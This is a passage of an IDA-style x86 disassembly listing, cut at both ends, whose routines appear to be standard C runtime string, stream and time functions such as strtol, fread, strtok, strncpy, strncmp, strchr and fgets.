proc near ; CODE XREF: sub_416861+Ep ; sub_416A80+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_416890: ; CODE XREF: sub_416878+46j cmp ds:dword_42F56C, 1 jle short loc_4168A8 movzx eax, bl push 8 push eax call sub_418762 pop ecx pop ecx jmp short loc_4168B7 ; --------------------------------------------------------------------------- loc_4168A8: ; CODE XREF: sub_416878+1Fj mov ecx, ds:off_42F360 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_4168B7: ; CODE XREF: sub_416878+2Ej test eax, eax jz short loc_4168C0 mov bl, [esi] inc esi jmp short loc_416890 ; --------------------------------------------------------------------------- loc_4168C0: ; CODE XREF: sub_416878+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_4168CE or [ebp+arg_C], 2 jmp short loc_4168D3 ; --------------------------------------------------------------------------- loc_4168CE: ; CODE XREF: sub_416878+4Ej cmp bl, 2Bh jnz short loc_4168D9 loc_4168D3: ; CODE XREF: sub_416878+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_4168D9: ; CODE XREF: sub_416878+59j mov eax, [ebp+arg_8] test eax, eax jl loc_416A70 cmp eax, 1 jz loc_416A70 cmp eax, 24h jg loc_416A70 push 10h test eax, eax pop ecx jnz short loc_416921 cmp bl, 30h jz short loc_41690B mov [ebp+arg_8], 0Ah jmp short loc_41693D ; --------------------------------------------------------------------------- loc_41690B: ; CODE XREF: sub_416878+88j mov al, [esi] cmp al, 78h jz short loc_41691E cmp al, 58h jz short loc_41691E mov [ebp+arg_8], 8 jmp short loc_41693D ; --------------------------------------------------------------------------- loc_41691E: ; CODE XREF: sub_416878+97j ; sub_416878+9Bj mov [ebp+arg_8], ecx loc_416921: ; CODE XREF: sub_416878+83j cmp [ebp+arg_8], ecx jnz short loc_41693D cmp bl, 30h jnz short loc_41693D mov al, [esi] cmp al, 78h jz short loc_416935 cmp al, 58h jnz short loc_41693D loc_416935: ; CODE XREF: sub_416878+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41693D: ; CODE XREF: sub_416878+91j ; sub_416878+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41694D: ; CODE XREF: sub_416878+16Cj cmp ds:dword_42F56C, 1 movzx esi, bl jle short loc_416965 push 4 push esi call sub_418762 pop ecx pop ecx jmp short loc_416970 ; --------------------------------------------------------------------------- loc_416965: ; CODE XREF: sub_416878+DFj mov eax, ds:off_42F360 mov al, [eax+esi*2] and eax, 4 loc_416970: ; CODE XREF: sub_416878+EBj test eax, eax jz short loc_41697C movsx ecx, bl sub ecx, 30h jmp short loc_4169AE ; --------------------------------------------------------------------------- loc_41697C: ; CODE XREF: sub_416878+FAj cmp ds:dword_42F56C, 1 jle short loc_416990 push edi push esi call sub_418762 pop ecx pop ecx jmp short loc_41699B ; --------------------------------------------------------------------------- loc_416990: ; CODE XREF: sub_416878+10Bj mov eax, ds:off_42F360 mov ax, [eax+esi*2] and eax, edi loc_41699B: ; CODE XREF: sub_416878+116j test eax, eax jz short loc_4169E9 movsx eax, bl push eax call sub_41B729 pop ecx mov ecx, eax sub ecx, 37h loc_4169AE: ; CODE XREF: sub_416878+102j cmp ecx, [ebp+arg_8] jnb short loc_4169E9 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_4169D3 jnz short loc_4169CD or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_4169D3 loc_4169CD: ; CODE XREF: sub_416878+147j or [ebp+arg_C], 4 jmp short loc_4169DC ; --------------------------------------------------------------------------- loc_4169D3: ; CODE XREF: sub_416878+145j ; sub_416878+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_4169DC: ; CODE XREF: sub_416878+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41694D ; --------------------------------------------------------------------------- loc_4169E9: ; CODE XREF: sub_416878+125j ; sub_416878+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_416A07 test edx, edx jz short loc_416A01 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_416A01: ; CODE XREF: sub_416878+181j and [ebp+var_8], 0 jmp short loc_416A54 ; --------------------------------------------------------------------------- loc_416A07: ; CODE XREF: sub_416878+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_416A2D test cl, 1 jnz short loc_416A54 and ecx, 2 jz short loc_416A24 cmp [ebp+var_8], 80000000h ja short loc_416A2D loc_416A24: ; CODE XREF: sub_416878+1A1j test ecx, ecx jnz short loc_416A54 cmp [ebp+var_8], eax jbe short loc_416A54 loc_416A2D: ; CODE XREF: sub_416878+197j ; sub_416878+1AAj test byte ptr [ebp+arg_C], 1 mov ds:dword_4C9084, 22h jz short loc_416A43 or [ebp+var_8], 0FFFFFFFFh jmp short loc_416A54 ; --------------------------------------------------------------------------- loc_416A43: ; CODE XREF: sub_416878+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_416A54: ; CODE XREF: sub_416878+18Dj ; sub_416878+19Cj ... test edx, edx jz short loc_416A5D mov eax, [ebp+var_4] mov [edx], eax loc_416A5D: ; CODE XREF: sub_416878+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_416A6B mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_416A6B: ; CODE XREF: sub_416878+1E9j mov eax, [ebp+var_8] jmp short loc_416A7B ; --------------------------------------------------------------------------- loc_416A70: ; CODE XREF: sub_416878+66j ; sub_416878+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_416A79 mov [eax], edi loc_416A79: ; CODE XREF: sub_416878+1FDj xor eax, eax loc_416A7B: ; CODE XREF: sub_416878+1F6j pop edi pop esi pop ebx leave retn sub_416878 endp ; =============== S U B R O U T I N E ======================================= sub_416A80 proc near ; CODE XREF: sub_403A1B+4BDp ; sub_40D2E0+3773p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_416878 add esp, 10h retn sub_416A80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A97 proc near ; CODE XREF: sub_403A1B+266p ; sub_403A1B+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_415C80 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41B7F5 add esp, 10h leave retn sub_416A97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ACB proc near ; CODE XREF: sub_403A1B+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call ds:dword_42205C ; GetLocalTime lea eax, [ebp+var_20] push eax call ds:dword_422178 ; GetSystemTime mov ax, [ebp+var_16] cmp ax, ds:word_4C907A jnz short loc_416B30 mov ax, [ebp+var_18] cmp ax, ds:word_4C9078 jnz short loc_416B30 mov ax, [ebp+var_1A] cmp ax, ds:word_4C9076 jnz short loc_416B30 mov ax, [ebp+var_1E] cmp ax, ds:word_4C9072 jnz short loc_416B30 mov ax, [ebp+var_20] cmp ax, ds:word_4C9070 jnz short loc_416B30 mov eax, ds:dword_4C9068 jmp short loc_416B75 ; --------------------------------------------------------------------------- loc_416B30: ; CODE XREF: sub_416ACB+28j ; sub_416ACB+35j ... lea eax, [ebp+var_CC] push eax call ds:dword_422174 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_416B5D cmp eax, 2 jnz short loc_416B59 cmp [ebp+var_32], 0 jz short loc_416B59 cmp [ebp+var_24], 0 jz short loc_416B59 push 1 pop eax jmp short loc_416B60 ; --------------------------------------------------------------------------- loc_416B59: ; CODE XREF: sub_416ACB+7Aj ; sub_416ACB+81j ... xor eax, eax jmp short loc_416B60 ; --------------------------------------------------------------------------- loc_416B5D: ; CODE XREF: sub_416ACB+75j or eax, 0FFFFFFFFh loc_416B60: ; CODE XREF: sub_416ACB+8Cj ; sub_416ACB+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4C9070 movsd movsd movsd movsd pop edi mov ds:dword_4C9068, eax pop esi loc_416B75: ; CODE XREF: sub_416ACB+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41C2A6 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_416BA5 mov [ecx], eax locret_416BA5: ; CODE XREF: sub_416ACB+D6j leave retn sub_416ACB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BA7 proc near ; CODE XREF: sub_40409E+4Ep ; sub_40525F+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_416BCB xor eax, eax jmp loc_416C74 ; --------------------------------------------------------------------------- loc_416BCB: ; CODE XREF: sub_416BA7+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_416BDE mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_416BEA ; --------------------------------------------------------------------------- loc_416BDE: ; CODE XREF: sub_416BA7+2Dj mov [ebp+arg_C], 1000h jmp short loc_416BEA ; --------------------------------------------------------------------------- loc_416BE7: ; CODE XREF: sub_416BA7+C4j mov ecx, [ebp+arg_0] loc_416BEA: ; CODE XREF: sub_416BA7+35j ; sub_416BA7+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_416C1C mov eax, [esi+4] test eax, eax jz short loc_416C1C cmp ecx, eax mov edi, ecx jb short loc_416C01 mov edi, eax loc_416C01: ; CODE XREF: sub_416BA7+56j push edi push dword ptr [esi] push ebx call sub_415560 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_416C67 ; --------------------------------------------------------------------------- loc_416C1C: ; CODE XREF: sub_416BA7+49j ; sub_416BA7+50j cmp ecx, [ebp+arg_C] jb short loc_416C4F cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_416C32 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_416C32: ; CODE XREF: sub_416BA7+80j push eax push ebx push dword ptr [esi+10h] call sub_41C441 add esp, 0Ch test eax, eax jz short loc_416C79 cmp eax, 0FFFFFFFFh jz short loc_416C7F sub [ebp+arg_0], eax add ebx, eax jmp short loc_416C67 ; --------------------------------------------------------------------------- loc_416C4F: ; CODE XREF: sub_416BA7+78j push esi call sub_41C368 cmp eax, 0FFFFFFFFh pop ecx jz short loc_416C83 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_416C67: ; CODE XREF: sub_416BA7+73j ; sub_416BA7+A6j cmp [ebp+arg_0], 0 jnz loc_416BE7 mov eax, [ebp+arg_8] loc_416C74: ; CODE XREF: sub_416BA7+1Fj ; sub_416BA7+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_416C79: ; CODE XREF: sub_416BA7+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_416C83 ; --------------------------------------------------------------------------- loc_416C7F: ; CODE XREF: sub_416BA7+9Fj or dword ptr [esi+0Ch], 20h loc_416C83: ; CODE XREF: sub_416BA7+B2j ; sub_416BA7+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_416C74 sub_416BA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C8F proc near ; CODE XREF: sub_404138+2B2p ; sub_404716+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_416CA8: ; CODE XREF: sub_416C8F+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_416CA8 mov edx, [ebp+arg_0] test edx, edx jnz short loc_416CD0 mov edx, ds:dword_4C9080 loc_416CD0: ; CODE XREF: sub_416C8F+39j ; sub_416C8F+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_416CF0 test al, al jz short loc_416CF0 inc edx jmp short loc_416CD0 ; --------------------------------------------------------------------------- loc_416CF0: ; CODE XREF: sub_416C8F+58j ; sub_416C8F+5Cj mov ebx, edx loc_416CF2: ; CODE XREF: sub_416C8F+81j mov al, [edx] test al, al jz short loc_416D16 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_416D12 inc edx jmp short loc_416CF2 ; --------------------------------------------------------------------------- loc_416D12: ; CODE XREF: sub_416C8F+7Ej and byte ptr [edx], 0 inc edx loc_416D16: ; CODE XREF: sub_416C8F+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov ds:dword_4C9080, edx and eax, ebx pop ebx leave retn sub_416C8F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D30 proc near ; CODE XREF: sub_4049CD+1B6p ; sub_405898+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_416DB3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_416D54 shr ecx, 2 jnz short loc_416DC1 jmp short loc_416D75 ; --------------------------------------------------------------------------- loc_416D54: ; CODE XREF: sub_416D30+1Bj ; sub_416D30+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_416D82 test al, al jz short loc_416D8A test esi, 3 jnz short loc_416D54 mov ebx, ecx shr ecx, 2 jnz short loc_416DC1 loc_416D70: ; CODE XREF: sub_416D30+8Fj and ebx, 3 jz short loc_416D82 loc_416D75: ; CODE XREF: sub_416D30+22j ; sub_416D30+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_416DAE dec ebx jnz short loc_416D75 loc_416D82: ; CODE XREF: sub_416D30+2Bj ; sub_416D30+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416D8A: ; CODE XREF: sub_416D30+2Fj test edi, 3 jz short loc_416DA4 loc_416D92: ; CODE XREF: sub_416D30+72j mov [edi], al inc edi dec ecx jz loc_416E26 test edi, 3 jnz short loc_416D92 loc_416DA4: ; CODE XREF: sub_416D30+60j mov ebx, ecx shr ecx, 2 jnz short loc_416E17 loc_416DAB: ; CODE XREF: sub_416D30+7Fj ; sub_416D30+F4j mov [edi], al inc edi loc_416DAE: ; CODE XREF: sub_416D30+4Dj dec ebx jnz short loc_416DAB pop ebx pop esi loc_416DB3: ; CODE XREF: sub_416D30+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416DB9: ; CODE XREF: sub_416D30+A9j ; sub_416D30+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_416D70 loc_416DC1: ; CODE XREF: sub_416D30+20j ; sub_416D30+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416DB9 test dl, dl jz short loc_416E0B test dh, dh jz short loc_416E01 test edx, 0FF0000h jz short loc_416DF7 test edx, 0FF000000h jnz short loc_416DB9 mov [edi], edx jmp short loc_416E0F ; --------------------------------------------------------------------------- loc_416DF7: ; CODE XREF: sub_416D30+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_416E0F ; --------------------------------------------------------------------------- loc_416E01: ; CODE XREF: sub_416D30+B1j and edx, 0FFh mov [edi], edx jmp short loc_416E0F ; --------------------------------------------------------------------------- loc_416E0B: ; CODE XREF: sub_416D30+ADj xor edx, edx mov [edi], edx loc_416E0F: ; CODE XREF: sub_416D30+C5j ; sub_416D30+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_416E21 loc_416E17: ; CODE XREF: sub_416D30+79j xor eax, eax loc_416E19: ; CODE XREF: sub_416D30+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_416E19 loc_416E21: ; CODE XREF: sub_416D30+E5j and ebx, 3 jnz short loc_416DAB loc_416E26: ; CODE XREF: sub_416D30+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416D30 endp ; =============== S U B R O U T I N E ======================================= sub_416E2E proc near ; CODE XREF: sub_40525F+2E2p ; sub_40525F+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_416EAA mov edi, [esp+8+arg_8] test edi, edi jz short loc_416E4D cmp edi, 1 jz short loc_416E4D cmp edi, 2 jnz short loc_416EAA loc_416E4D: ; CODE XREF: sub_416E2E+13j ; sub_416E2E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_416E64 push esi call sub_41C6D1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_416E64: ; CODE XREF: sub_416E2E+27j push esi call sub_4188F0 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_416E79 and al, 0FCh mov [esi+0Ch], eax jmp short loc_416E8D ; --------------------------------------------------------------------------- loc_416E79: ; CODE XREF: sub_416E2E+42j test al, 1 jz short loc_416E8D test al, 8 jz short loc_416E8D test ah, 4 jnz short loc_416E8D mov dword ptr [esi+18h], 200h loc_416E8D: ; CODE XREF: sub_416E2E+49j ; sub_416E2E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41C637 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_416EB7 ; --------------------------------------------------------------------------- loc_416EAA: ; CODE XREF: sub_416E2E+Bj ; sub_416E2E+1Dj mov ds:dword_4C9084, 16h or eax, 0FFFFFFFFh loc_416EB7: ; CODE XREF: sub_416E2E+7Aj pop edi pop esi retn sub_416E2E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EC0 proc near ; CODE XREF: sub_40525F+2ACp ; sub_40525F+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_416EF1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_416EEF jz short loc_416EF1 dec ecx dec ecx loc_416EEF: ; CODE XREF: sub_416EC0+29j not ecx loc_416EF1: ; CODE XREF: sub_416EC0+9j ; sub_416EC0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_416EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416F00 proc near ; CODE XREF: sub_405756+5Cp ; sub_405756+9Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_416FB4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_416F2A loc_416F1B: ; CODE XREF: sub_416F00+28j mov al, [edi] inc edi test al, al jz short loc_416F5B test edi, 3 jnz short loc_416F1B loc_416F2A: ; CODE XREF: sub_416F00+19j ; sub_416F00+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_416F2A mov eax, [edi-4] test al, al jz short loc_416F68 test ah, ah jz short loc_416F63 test eax, 0FF0000h jz short loc_416F5E test eax, 0FF000000h jnz short loc_416F2A loc_416F5B: ; CODE XREF: sub_416F00+20j dec edi jmp short loc_416F6B ; --------------------------------------------------------------------------- loc_416F5E: ; CODE XREF: sub_416F00+52j sub edi, 2 jmp short loc_416F6B ; --------------------------------------------------------------------------- loc_416F63: ; CODE XREF: sub_416F00+4Bj sub edi, 3 jmp short loc_416F6B ; --------------------------------------------------------------------------- loc_416F68: ; CODE XREF: sub_416F00+47j sub edi, 4 loc_416F6B: ; CODE XREF: sub_416F00+5Cj ; sub_416F00+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_416F80 mov ebx, ecx shr ecx, 2 jnz short loc_416FCC jmp short loc_416F9C ; --------------------------------------------------------------------------- loc_416F80: ; CODE XREF: sub_416F00+75j ; sub_416F00+93j mov dl, [esi] inc esi test dl, dl jz short loc_416FBA mov [edi], dl inc edi dec ecx jz short loc_416FB0 test esi, 3 jnz short loc_416F80 mov ebx, ecx shr ecx, 2 jnz short loc_416FCC loc_416F9C: ; CODE XREF: sub_416F00+7Ej ; sub_416F00+CAj mov ecx, ebx and ecx, 3 jz short loc_416FB0 loc_416FA3: ; CODE XREF: sub_416F00+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_416FB2 dec ecx jnz short loc_416FA3 loc_416FB0: ; CODE XREF: sub_416F00+8Bj ; sub_416F00+A1j mov [edi], cl loc_416FB2: ; CODE XREF: sub_416F00+ABj pop ebx pop esi loc_416FB4: ; CODE XREF: sub_416F00+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416FBA: ; CODE XREF: sub_416F00+85j ; sub_416F00+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416FC4: ; CODE XREF: sub_416F00+E4j ; sub_416F00+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_416F9C loc_416FCC: ; CODE XREF: sub_416F00+7Cj ; sub_416F00+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416FC4 test dl, dl jz short loc_416FBA test dh, dh jz short loc_417018 test edx, 0FF0000h jz short loc_417008 test edx, 0FF000000h jnz short loc_416FC4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_417008: ; CODE XREF: sub_416F00+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_417018: ; CODE XREF: sub_416F00+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416F00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417030 proc near ; CODE XREF: sub_405898+2A2p ; sub_40D2E0+31DBp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_417051 xor eax, eax jmp short loc_417053 ; --------------------------------------------------------------------------- loc_417051: ; CODE XREF: sub_417030+1Bj mov eax, edi loc_417053: ; CODE XREF: sub_417030+1Fj cld pop edi leave retn sub_417030 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_417070 loc_417060: ; CODE XREF: sub_417070+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_417070 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417070 proc near ; CODE XREF: sub_40726C+DBp ; sub_40BF5E+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00417060 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_417076: ; CODE XREF: sub_415A50+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41709B loc_417088: ; CODE XREF: sub_417070+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_417060 test cl, cl jz short loc_4170E4 test edx, 3 jnz short loc_417088 loc_41709B: ; CODE XREF: sub_417070+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4170A6: ; CODE XREF: sub_417070+61j ; sub_417070+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_4170E8 and eax, 81010100h jz short loc_4170A6 and eax, 1010100h jnz short loc_4170E2 and esi, 80000000h jnz short loc_4170A6 loc_4170E2: ; CODE XREF: sub_417070+68j ; sub_417070+81j ... pop esi pop edi loc_4170E4: ; CODE XREF: sub_417070+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4170E8: ; CODE XREF: sub_417070+5Aj mov eax, [edx-4] cmp al, bl jz short loc_417125 test al, al jz short loc_4170E2 cmp ah, bl jz short loc_41711E test ah, ah jz short loc_4170E2 shr eax, 10h cmp al, bl jz short loc_417117 test al, al jz short loc_4170E2 cmp ah, bl jz short loc_417110 test ah, ah jz short loc_4170E2 jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417110: ; CODE XREF: sub_417070+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_417117: ; CODE XREF: sub_417070+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41711E: ; CODE XREF: sub_417070+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_417125: ; CODE XREF: sub_417070+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_417070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41712C proc near ; CODE XREF: sub_40726C+AFp ; sub_40D2E0+47F2p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_417140 xor eax, eax jmp short loc_417176 ; --------------------------------------------------------------------------- loc_417140: ; CODE XREF: sub_41712C+Ej dec [ebp+arg_4] push esi jz short loc_417170 mov esi, [ebp+arg_8] loc_417149: ; CODE XREF: sub_41712C+42j dec dword ptr [esi+4] js short loc_417158 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41715F ; --------------------------------------------------------------------------- loc_417158: ; CODE XREF: sub_41712C+20j push esi call sub_41C368 pop ecx loc_41715F: ; CODE XREF: sub_41712C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41717A mov [edi], al inc edi cmp al, 0Ah jz short loc_417170 dec [ebp+arg_4] jnz short loc_417149 loc_417170: ; CODE XREF: sub_41712C+18j ; sub_41712C+3Dj ... and byte ptr [edi], 0 loc_417173: ; CODE XREF: sub_41712C+55j mov eax, ebx pop esi loc_417176: ; CODE XREF: sub_41712C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41717A: ; CODE XREF: sub_41712C+36j cmp edi, [ebp+arg_0] jnz short loc_417170 xor ebx, ebx jmp short loc_417173 sub_41712C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417183 proc near ; CODE XREF: sub_40784F+BFp ; sub_40784F+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, ds:dword_4C911C push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], 